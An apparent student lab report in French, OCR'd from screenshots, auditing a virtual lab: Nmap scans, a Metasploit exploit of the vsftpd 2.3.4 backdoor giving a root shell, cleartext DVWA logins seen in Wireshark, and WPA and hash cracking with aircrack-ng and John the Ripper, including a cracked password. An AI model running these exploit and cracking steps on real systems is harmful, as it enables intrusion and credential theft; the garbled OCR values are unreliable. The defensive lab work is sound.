Audit de sécurité et analyse réseau avec
Kali Linux

NMAP

1.Hotes actifs sur leréseau:

~

192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 16:53 CET
Nmap scan report for 192.168.56.129
Host is up (0.0011s latency).
MAC Address: 00:0C:29:E1:26:54 (VMware)

Nmap scan report for 192.168.56.254

Host is up (0.00030s latency).

MAC Address: 00:50:56:F6:9C:7E (VMware)

Nmap scan report for 192.168.56.128

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 29.81 seconds

192.168.56.128 — VM Kali
192.168.56.129 - VM Metasploitable

192.168.56.254 — Passerelle PC Hote

2. Port ouvert et leurs versions (Machine Metasploitable2) :

Port Service Version Etat
21 FTP Vsftpd 2.3.4 Open
22 SSH OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | Open
25 SMTP Postfix smtpd Open
80 HTTP Apache httpd 2.2.8 ((Ubuntu) DAV/2) Open

3. Scan SYN Rapide (Déterminer I’état des port sur la cible distante):



. 192 .168.56.129
Starting Nmap 7.95 ( https://nmap.org ) at 2025—-—11-11 17:43 CET

Nmap scan report for 192 .168.56.129
Host is up (©0.0032s latency).

Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE

21/tcp open ftp

22/ tcp open ssh

23/tcp open telnet

25/ tcp open smtp

s3/tcp open domain

sSe/tcp open http

111 /tcp open rpcbind

139/tcp open netbios—ssn

a48s/tcp open microsoft—ds

s12/tcp open exec

Ss13/tcp open lTogin

s14/tcp open shell

1999 /tcp open rmiregistry

1524/tcp open ingreslock

2049/ tcp open nfs

231231 /tcp open ccproxy—ftp

3306/ tcp open mysqgl

5432/tcp open postgresqgl

S99/ tcp open vnc

6000/ tcp open X111

6667 /tcp open irc

S99/ tcp open ajpl=3

818@/tcp open unknown

MAC Address: O0:©C:29:E1:26:54 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13 .43 seconds

4. Résultat :

Le scan montre que plusieurs ports sont ouverts sur la machine Metasploitable. On 'y
trouve des services anciens comme FTP, Samba, Telnet et MySQL. Ces services
sont vulnérables et peuvent permettre a un attaquant de prendre le contréle de la
machine. |l faut les désactiver ou les mettre a jour pour améliorer la sécurité.

Metasploit

1. Lancer Metasploit : 2. sudo msfconsole :
Lancement de Uinterface Metasploit (console)

[sudo] Mot de de administrateur :

bésolé, essay nouveau.

[sudo] Mot de pa de administrateur

Metasploit tip: Use the resource command to run commands from a file

296 auxiliary - 431 post
9 encoders - 13 nops

Metasploit Documentation: https://docs.metasploit.com/

3. saerch vsftpd :

Chercher le modules exploit correspondant a la version détectée.



msf6 > search vsftpd

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/dos/ftp/¥sftpd 232 2011-02-03 Yes VSFTPD 2.3.2 Denial of Service
exploit/unix/ftp/Msftpd 234 _backdoor 2011-07-03 No VSFTPD v2.3.4 Backdoor Command Execut

Interact with a module by name or index. For example inf

4. use exploit/unix/ftp.vsftpd_234_backdoor :

Sélection du module.

pd_234 backdoor
1t

use exploit/unix/ftp/vsf
a ing to cmd/unix;,

T
1

Mo payload configured, def

5.5et RHOST 192.168.56.129 :

nsfé exploit( ) > set RHOST 192.168.56.129

RHOST = 192;158.55. 29

6. set RPORT 21 :

RPORT = 21
Définir cible et port (en occurrence la machine exploitable) .

7. show payloads :

mst6 exploit payloads

Compatible Payloads

Name Disclosure Date Rank Check Description

payload/cmd/unix/interact . normal No Unix Command, Interact with Established Connection

PAYLOAD cmd/uni

Choisir charge utile

9. exploit:

mst6 exploit > exploit
192.168.56.129:2 Banner: 220 (vsFTPd 2.3.4)
192.168.56.129:21 USER: 331 Please specify the password.
[+] 192.168.56.129: Backdoor service has been spawned, handling ...

[+] 192.168.56.129: UID: uid=0(root) gid=0(root)
Found shell.
Command shell session 1 opened (192.168.56.128:43555 — 192.168.56.129:6200) at 2025-11-11 18:40:13 +0100




Lancement de U'exploitation.

10. Vérification que le shell fonctionne bien

ed, handling ...

Found sh
Command s . 9 — 192.168.56.129: @) at 2025-11-2

ami

x metasploitable 2.6.24-16-server #1 SMP Thu Apr 18 13 GNU/Linux

Le log de résultat ci-dessous montre Uutilisation du module vsftpd 2.3.4, la

0:27:59 +0100

configuration des options (RHOST/RPORT), ’exécution de U'exploit et 'ouverture d’un

shell fonctionnel. Les commandes whoami et uname -a confirment que Uexploitation a

réussi.

11. Restauration de la VM

clean_start You Are Hare

Snapshat details

Hame: Take Snapshot..
Description:
o screenshot vailable
Clon
45 [ ] Show AutaProtect snapshots. AutoProtedt... Close Help

"You Are Here" selected

WIRESHARK

Lancement de Wireshark



Uanalyseur de réseau Wireshark

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless Outils Aide

ADA®G® " BRBR@a«<»>0«>MHEocolR

nvenue dans Wireshark

en utilisant ce fittre: (W] <] Toutes les interfaces affichées

Corbeitid etho
k any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
© DisplayPort AUX channel monitor capture: dpawxmon
© Random packet generator: randpkt
© systemd Journal Export: sdjournal
m

© Wi-Fi remote capture: wifidump

Guide ‘Wikd Questions et Listes de SharkFest - Discord Wireshark - Faire un don
Utilisateur Réponses diffusion
Vous exécutez Wireshark 4.4.6.

B Prét pour charger ou capturer Pas de paquets Profil : Default
\

1. Choix du filtre de capture et de Uinterface réseau pour limiter les
résultats

Lanalyseur de réseau Wires hark

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless Outlls Alde

ADA® o B B @ « » 0 < > N o o o @WE

en utilisant ce filtre : (A [port 80 or icmp]| Toutes les interfaces affichées~
ethO

any
Loopback: lo
bluetooth-monitor

Random packet generator:
ystemnd Journal Expert: sdjoul
H remote ca hdum)

UDP Listener remote capture:
Wi-Fi remote capture: wifidump

Guide - Wiki - Questionset - - SharkFest - Discord Wireshark
Utilisateur Réponses
Vous exécutez Wireshark 4.4.

£t pour charger ou captu p Profil

[y
T L . 3
Fichier Editer e Aller pture  Analyser tiques Telephonie Wireless Outils Aide

ne«>@Eoso@ER

@ Kali Tools  Kali Docs 3 Kalf Forums 6 Kail NetHunter

66 52302
hodesg®

Disclaimer

General Instructions

® B etho: cive capture i progress> Paquets : 50 Profil: Default

3. Mise en place du filtre http



A Capture en cours de eth0 (port 80 or icmp)

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless Outils Aide

AOA® R BEBRM@ a ¢« »n «>E= o800 EBE

LT KO

No. Time Source Destination Protocol Length Info
4 0.001898201 192 .96. 414 GET /dvwa/login.php HTTP/1.
8 0.097636173 192.168.56.129 192.168.56.128 HTTP 71 HTTP/1.1 200 OK (text/html
10 ©.267532299 192.168.56.128 192.168.56.129 HTTP 459 GET /dvwa/dvwa/css/login.cs
12 ©.269043642 192.168.56.129 192.168.56.128 HTTP 969 HTTP/1.1 200 OK (text/css)
20 119.045351575 192.168.56.128 192.168.56.129 HTTP 672 POST /dvwa/login.php HTTP/1
22 119.079518213 192.168.56.129 192.168.56.128 HTTP 458 HTTP/1.1 362 Found
24 119.145359497 192.168.56.128 192.168.56.129 HTTP 528 GET /dvwa/login.php HTTP/1.
27 119.168541396 192.168.56.129 192.168.56.128 HTTP 71 HTTP/1.1 200 OK (text/html
29 129.040065963 192.168.56.128 192.168.56.129 HTTP 673 POST /dvwa/login.php HTTP/1
30 129.063219928 192.168.56.129 192.168.56.128 HTTP 457 HTTP/1.1 302 Found
32 129.104135196 192.168.56.128 192.168.56.129 HTTP 528 GET /dvwa/index.php HTTP/1.
39 129.125576609 192 .56. 71 HTTP/1.1 260 OK (text/html

41 129.326300404 192.168.56.128 192.168.56.129 583 GET /dvwa/favicon.ico HTTP/
44 129.329160240 192.168.56.129 192.168.56.128 324 HTTP/1.1 200 OK (image/x-1

4. Les logins qu’on a rentrés pour accéder au serveur
Ils sont en clair car http n’est pas chiffré

AN @ = B BM a « » n «« >»» A E oo o B
(M [http B - +

No. me Destination Protocol Length Info
4 0.001898201 192.16 HTTP 414 GET /dvwa in.php HTTP/1.
8 0.097636173 5 .56. 2. .56 71 HTTP/1.1 280 OK (text/html

©.267532299 - .56. - .56. 459 GET /dvwa/dvwa/css/login.cs
©.269043642 5 B 5 5 969 HTTP/1.1 200 OK (text/css)
.045351575 - .56.128 . : 672 POST /dvwa/login.php HTTP/1
.e79518213 - .56. - HTTP/1.1 382 Fo
.145359497 2. .56.12 2. .56 .12 GET /dvwa/login.php HTTP/1.
. 168541396 - .5A. - .58 71 HTTP/1.1 200 OK _(text/html
7Login.php HTTP/1
.063219928 192.168.56.1 192.168 .56 .1 HTTP/1.1 302 Found
104135196 . B . BsAE GET /dvwa/index.php HTTP/1.
.125576609 192 . .56.12¢ 92.168.56.12 HTTP/1.1 280 OK (text/html
.326300404 - .56. - .56. GET /dwwa/favicon.ico HTTR/
329160240 2 .56. 2 .56. HTTP/1.1 200 OK (image/x-i

® E Textitem (text), 31 oct ‘aquets : SO - Affic| T 6 rofil : Default

5. Avec le filtre de capture http et ICMP et envoi d’une requéte ping vers
'adresse de la machine exploitable avec les différents envois et
réponses (resquest = demande et reply = réponses)



AOAO s @BE@ o « > n « » R oo o [fER

No. Time Source Destination Protocol Length Info

12 0.269043642 192.168.56. 192.168. .128 HTTP 969 HTTP/1.1 200 OK (text/css
045351575 672 POST /dvwa/login.php HTTP/:
22 119.879518213 192.168.56.129 192.168.56.128 HTTP 458 HTTP/1.1 302 Found
24 119.145359497 192.168.56.128 192.168.56.129 HTTP 528 GET /dvwa/login.php HTTP/1
27 119.168541396 192.168.56.129 192.168.56.128 HTTP 71 HTTP/1.1 280 OK (text/htm
29 129.040065963 192.168.56.128 192.168.56.129 HTTP 673 POST /dvwa/login.php HTTP/
30 129.063219928 192.168.56.129 192.168.56.128 HTTP 457 HTTP/1.1 382 Found
32 129.104135196 192.168.56.128 192.168.56.129 HTTP 528 GET /dvwa/index.php HTTP/1
39 129.125576609 192.168.56.129 192.168.56.128 HTTP 71 HTTP/1.1 208 OK (text/htm
41 129.326300404 192.168.56.128 192.168.56.129 HTTP 503 GET /dvwa/favicon.ico HTTP

44 129.329160240 192.168.56.129 192.168.56.128 HTTP 324 HTTP/1.1 200 0K mage/x-
51 851.277203323 192.168.56.128 192.168.56.129 ICMP 98 Echo (ping) i

52 851.282372485 192.168.56.129 192.168.56.128 ICMP 98 Echo i

53 852.278374600 192.168.56.128 192.168.56.129 ICMP 98 Echo

54 852.279555122 192.168.56.129 192.168.56.128 ICMP 98 Echo
55 853.280850661 192.168.56.128 192.168.56.129 ICMP 98 Echo
56 853.281938811 192.168.56.129 192.168.56.128 ICMP 98 Echo
57 854.282687091 192.168.56.128 192.168.56.129 ICMP 98 Echo
58 854.283359439 192.168.56.129 192.168.56.128 ICMP 98 Echo
294602654 .56. . .56. 98 Echo
295353241 .56. 5 .56. 98 Echo

‘mik»

Edites Vue Aller Copture dralyser

7. Résultat : Lanalyse sous Wireshark montre que les identifiants envoyés via
HTTP apparaissent en clair dans la capture. Un attaquant présent sur le réseau
pourrait intercepter ces informations, observer tout le trafic non chiffré,
cartographier les machines actives grace a UICMP, et éventuellement réaliser une
attaque de type Man-in-the-Middle. L’'absence de chiffrement représente donc un
risque important de fuite de données et de compromission des comptes utilisateurs.

AIRCRACK

Environnement:



Kali Linux VM, pas de carte Wi-Fi phys., utilisation d’un .cap didactique.

Fichier de capture utilisé : ~/handshake.cap (fourni par aircrack-ng / dépot
officiel).

1. Installation et verification que la commande aircrack-ng est disponible
(Déja installer et commande disponible)

Fichier Actions Editer Vue Aide

zsh: corrupt history file /home/administrateur/.zsh_history
update

[sudo] ‘Mot de pa,se de administrateur

Réception de : http://ftp.free.fr/pub/kali kali-rolling InRelease [34,0 kB]

Réception de : - .free.fr/pub/kali kali-rolling/main amd64 Packages [21,0 MB]

Réception - .free.fr/pub/kali kali-rolling/main amd64 Contents (deb) [52,5 MB]

Réception 2 .free.fr/pub/kali kal olling/contrib amd64 Packages [114 kB]

Réception de : : .free.fr/pub/kali kali-rolling/contrib amd64 Contents (deb) [255 kB]

Réception : z .free.fr/pub/kali kali-rolling/non-free amd64 Packages [188 kB]

Réception - .free.fr/pub/kali kali-rolling/non-free amd64 Contents (deb) [903 kB]

Réception 4 .free.fr/pub/kali kali-rolling/non-free-firmware amd64 Packages [11,9 kB]

Réception ' .free.fr/pub/kali kali-rolling/non-free-firmware amd64 Contents (deb) [28,7 kB]

75,0 Mo xecept1onne5 en 12s (6 443 ko/s)

1582 paquets peuvent étre mis a jour. Exécutez « apt list --upgradable » pour les voir.

install aircrack-ng
alrcrack ng est déja la version la plus récente (1:1.7+git20230807.4bf83f1la-2+b1).
Sommaire :
Mise a niveau de : 0. Installation de : @Supprimé : @. Non mis & jour : 1582

aircrack-ng
/usr/bin/aircrack-ng

2. Onva chercher un fichier handshake qui remplacera le capture-01.cap
prét a l’emploi sur GitHub

est/wpa.cap ~/handshake. cap

185.199.108

3. Vérification du contenu du fichier handshake.cap.

Avec le nom du réseau « test »



-r ~/handshake.cap

CH © ][ Elapsed: 1 min J[ 2025-12-10 16: 1[ Finished reading input file /home/administrateur/han
BSSID PWR Beacons #Data, #/s CH 4 ENC CIPHER AUTH ESSID

00:0D:93:EB:B0O:8C -60 1 6 7 54 WPA KIP PSK ' test

BSSID STATION WF 0s ames Notes Probes

00:0D:93:EB:B0:8C 00:09:5B:91:53:5D -39 6 EAPOL

« test »

Encryption

WPA (1 handshake)

r/handshake.cap

5. Résultat de la commande aircrack-ng du mot de passe, apres 152252
clés essayer, il a trouvé la clé « biscotte ».

Aircrack-ng 1.7
[00:01:13] 152252/14344392 keys tested (2119.60 k/s)
Time left: 1 hour, 51 minutes, 35 seconds
KEY FOUND! [ biscotte ]

Master Key : CD D7 9A 5A CF B@ 70 C7 E9 D1 @2 3B 87 02 85 D6
39 E4 30 B3 2F 31 AA 37 AC 82 5A 55 B5 55 24 EE

Transient Key : 33 55 @B FC 4F 24 84 F4 9A 38 B3 D@ 89 83 D2 49
73 F9 DE 89 67 A6 6D 2B 8E 46 2C 07 47 6A CE 08
AD FB 65 D6 13 A9 9F 2C 65 E4 A6 08 F2 5A 67 97
D9 6F 76 5B 8C D3 DF 13 2F BC DA 6A 6E D9 62 CD

EAPOL HMAC : 28 A8 C8 95 B7 17 E5 72 27 B6 A7 EE E3 E5 34 45

Conclusion : J’ai utilisé un fichier de capture contenant un handshake
WPA2 pour faire U'exercice sans matériel Wi-Fi. Apres vérification du fichier
avec airodump-ng, j’ai lancé aircrack-ng avec la wordlist rockyou. Loutil a
testé plusieurs milliers de mots et a finalement trouvé le mot de passe du
réseau (« biscotte »). Cela montre Uimportance d’utiliser un mot de passe
Wi-Fi fort pour éviter les attaques par dictionnaire.



JOHN THE RIPPER

1. Préparation du hashfile.txt

0

administrateur@ka

Fichier Actions Editer Vue Aide

/etc/passwd passwd.txt

/etc/shadow shadow. txt

~

passwd.txt shadow.txt - hashfile.txt

2. Lancement de Uattaque dictionnaire

wordli X are,/wol hashfile.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
WilllL run £ upenmr tnreads

fopen: fusr/share/wordlists/rockyou.txt: No such file or directory

Un mot de passe découvert

3. Affichage mots de passe découvert

hashfile.txt

@ password hashes cracked, 1 left

Malheureusement le mot de passe n’a pas été trouver par John
Plusieurs possibilités se présente a nous :

- Mot de passe non présent dans le dictionnaire rockyou.txt
- La structure du mot de passe n’est pas générée par les regles pas dé-
faut

- Le hash utilisé est assez résistant pour ne pas se faire découvrir



4. Tentative du mode incrémental

Using default input

h
encoding:

e.txt
UTF-8

Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2
Will run 2 OpenMP threads

‘q’ or Ctrl-C
H : 0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
og/s
og/s
og/s
og/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s
0g/s

0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
0:
Q:
Q:
Q:
Q:
Q:
; 0:
0:
0:
0:
Q:
0:
Q:
0:
Q:
0:
Q:
0:
0:
Q:
Q:

Session aborted

to abort,

1418Kp/s
1858Kp/s
2181Kp/s
2424Kp/s
2627Kp/s
2749Kp/s
2860Kp/s
2961Kp/s
3257Kp/s
3312Kp/s
3352Kp/s
3392Kp/s
3430Kp/s
3459Kp/s
3482Kp/s
3519Kp/s
3549Kp/s
3568Kp/s
3600Kp/s
3624Kp/s
3645Kp/s
3668Kp/s
3690Kp/s
3702Kp/s
3712Kp/s
3708Kp/s
3717Kp/s
3733Kp/s
3743Kp/s
3755Kp/s

hashfile. txt
@ password hashes cracked, 1

almost any other key for status
913408p/s 913408c/s 913408C/s jcbcal.. jccukk

1418Kc/s
1858Kc/s
2181Kc/s
2424Kc/s
2627Kc/s
2749Kc/s
2860Kc/s
2961Kc/s
3257Kc/s
3312Kc/s
3352Kc/s
3392Kc/s
3430Kc/s
3459Kc/s
3482Kc/s
3519Kc/s
3549Kc/s
3568Kc/s
3600Kc/s
3624Kc/s
3645Kc/s
3668Kc/s
3690Kc/s
3702Kc/s
3712Kc/s
3708Kc/s
3717Kc/s
3733Kc/s
3743Kc/s
3755Kc/s

1418KC/s
1858KC/s
2181KC/s
2424KC/s
2627KC/s
2749KC/s
2860KC/s
2961KC/s
3257KC/s

3459KC/s
3482KC/s
3519KC/s
3549KC/s
3568KC/s
3600KC/s
3624KC/s
3645KC/s
3668KC/s
3690KC/s
3702KC/s
3712KC/s
3708KC/s
3717KC/s
3733KC/s
3743KC/s
3755KC/s

mhuppy .. msmj24
ccb891 .. cmoth3
ph@7046 .. 1288sm
stepanito .. merebeama
azous3 .. azmmoi
lkprat .. lkmsal
buddloted .. bristorne
hienzk .. hyvik7
rudrcor .. rumaclc
abbOrfm.. abde6la
tail8j .. tifemc
1b4@mk .. 1sdols
selj@n.. seygos
sunkspoll .. surpolass
1jzozt..1jzfob
bmeet@7 .. bmel746
7edc .. 1260ml
anydy181 ..anj16079
phplux .. pslpie
reg28jk .. remuk23
cmembsy .. and4897
nura9b .. nudd79
pegngot .. pimbfbc
bannicy .. bad167c
hgyvls .. hrblmo
myracao .. myrucek
kirvivu .. kirlsou
etocsi..etofio
alouty33 .. amottas2
macither .. macr1358

John n’a pas trouvé le mot de passe en mode incrémental car 'espace de

recherche est extrémement vaste, la longueur et la combinaison de carac-

teres rendent Uexploration compléete trop longue. Le brute force nécessite-

rait beaucoup plus de temps que celui disponible pour atteindre cette com-

binaison précise.

Recommandations pour un mot de passe solide :

- Utiliser des mots de passe de 12 a 16 caracteres minimum

- Mélanger minuscules, majuscules, chiffres, symboles

- Eviter les motifs prévisible (123, 2024, Votre nom, ect)

- Activer MFA pour compenser les faiblesses hum aines

BONUS JOHN THE RIPPER



Tentative d’une attaque par dictionnaire créer par moi-méme et avec
mon propre mot de passe a Uintérieur

1. Création du fichier hashfile.txt avec mon mot de passe avec une mé-
thode de hashage SHA 512

Mot de passe :
$6$cM4DpXIVsrua3IBh$CzqdmCPLo8WIO/LtcVUBSWSEBsqtMLlaFHmMLQrIJDK61IjvMidhmt TTxgpt57QGZZtfeR013gYOf1A0ZmMKKiWS1

hashfiie.tx;-l '.‘.‘

dictionnaire.txt

dictionnaire.txt

dictionnaire.txt

dictionnaire.txt

dictionnaire.txt

dictionnaire.txt

3. Découverte du mot de passe et affichage du mot de passe

— ( rdlist=dict hashfile.txt

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Warning: Only 6 candidates left, minimum 8 needed for performance.

a 1%123 (2)

1g 0:00:00:00 DONE (2025-11-25 23:21) 100.0g/s 600.0p/s 600.0c/s 600.0C/s 123456 .. apgmwn*123
Use the "--show” option to display all of the cracked passwords reliably
Session completed.

hashfile.txt

?:apgmwn*123

1 password hash cracked, 0 left

L’attaque a bien fonctionner et nous avons la vision de quand le mot de
passe est trouveé.



